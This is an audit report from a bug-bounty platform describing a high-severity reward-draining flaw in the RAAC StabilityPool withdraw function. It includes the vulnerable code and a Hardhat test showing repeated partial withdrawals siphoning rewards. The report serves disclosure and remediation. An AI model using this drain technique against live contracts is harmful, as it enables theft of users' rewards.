Core Contracts

Regnum Aurum Acquisition Corp
HardhatReal World AssetsNFT
77,280 USDC
View results
Submission Details
Severity: high
Valid

RAAC rewards can be drained

Summary

The StabilityPool::withdraw function uses a flawed reward distribution logic which allows malicious actor to drain the entire rewards by creating partial withdrawals.

Vulnerability Details

The StabilityPool::withdraw function is used in order to receive rTokens back by burning the deTokens.
This function is also used for distribution of RAAC tokens as rewards.

function withdraw(uint256 deCRVUSDAmount) external nonReentrant whenNotPaused validAmount(deCRVUSDAmount) {
_update();
if (deToken.balanceOf(msg.sender) < deCRVUSDAmount) revert InsufficientBalance();
uint256 rcrvUSDAmount = calculateRcrvUSDAmount(deCRVUSDAmount);
uint256 raacRewards = calculateRaacRewards(msg.sender); <<@ -- // Rewards are calculated in proportion to the user's deposits to the RAAC balance of the pool
if (userDeposits[msg.sender] < rcrvUSDAmount) revert InsufficientBalance();
userDeposits[msg.sender] -= rcrvUSDAmount;
if (userDeposits[msg.sender] == 0) {
delete userDeposits[msg.sender];
}
deToken.burn(msg.sender, deCRVUSDAmount);
rToken.safeTransfer(msg.sender, rcrvUSDAmount);
if (raacRewards > 0) {
raacToken.safeTransfer(msg.sender, raacRewards); <<@ -- // Rewards are sent here
}
emit Withdraw(msg.sender, rcrvUSDAmount, deCRVUSDAmount, raacRewards);
}

However, the logic used here for distribution is technically flawed as a user could make several small partial withdrawals and drain the entire RAAC reward tokens.
The attacker would first make a decent deposit via the StabilityPool::deposit function and then make subsequent dust withdrawals by using the StabilityPool::withdraw function, by doing so the entire RAAC rewards can be stolen.

Impact

  1. Loss of funds, as the rewards would be completely drained.

  2. Users lose their rightful rewards.

Proof of concept

Add the following test case inside the StabilityPool.test.js file:

describe("Rewards issue", function () {
beforeEach(async function () {
const depositAmount = ethers.parseEther("200");
await crvusd.mint(user2.address, depositAmount);
await crvusd.connect(user2).approve(lendingPool.target, depositAmount);
await lendingPool.connect(user2).deposit(depositAmount);
await rToken.connect(user2).approve(stabilityPool.target, depositAmount);
// do the same for user1
await crvusd.mint(user1.address, depositAmount);
await crvusd.connect(user1).approve(lendingPool.target, depositAmount);
await lendingPool.connect(user1).deposit(depositAmount);
await rToken.connect(user1).approve(stabilityPool.target, depositAmount);
});
it("should be able to drain rewards", async function () {
const initialAmount = ethers.parseEther("100");
await stabilityPool.connect(user1).deposit(ethers.parseEther("150"));
await stabilityPool.connect(user2).deposit(initialAmount);
const withdrawAmount = ethers.parseEther("30");
// Raac rewards balance of the stability pool
const raacBalanceStability = await raacToken.balanceOf(stabilityPool.target);
console.log(raacBalanceStability.toString());
// 4222222222222222208
const raacBalanceBefore = await raacToken.balanceOf(user2.address);
await stabilityPool.connect(user2).withdraw(withdrawAmount);
const raacBalanceAfter = await raacToken.balanceOf(user2.address);
expect(raacBalanceAfter).to.be.gt(raacBalanceBefore);
console.log(raacBalanceBefore.toString(), raacBalanceAfter.toString());
// Before After
// 0 1741666666666666660
// Now, again withdraw some amount
await stabilityPool.connect(user2).withdraw(withdrawAmount);
const raacBalanceAfter2 = await raacToken.balanceOf(user2.address);
expect(raacBalanceAfter2).to.be.gt(raacBalanceAfter);
console.log(raacBalanceAfter.toString(), raacBalanceAfter2.toString());
// Before After
// 1741666666666666660 2614898989898989889
// Hence, technically just by repeatedly withdrawing a single wei is enough to drain the rewards
});
})

This shows how subsequent withdrawals allows draining of the rewards.

Tools Used

Manual Review
/
Hardhat

Recommendations

It is recommended to seperate out the rewards logic and link it with time weighted logic to fairly reward users as even allowing proportionate amount of rewards as per the withdrawal parameter would still be susceptible to attacks as the malicious actor can again deposit and withdraw multiple times leading to stolen rewards, the entire architecture of rewards needs rework.

Updates

Lead Judging Commences

inallhonesty Lead Judge 6 months ago
Submission Judgement Published
Validated
Assigned finding tags:

StabilityPool::withdraw can be called with partial amounts, but it always send the full rewards

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.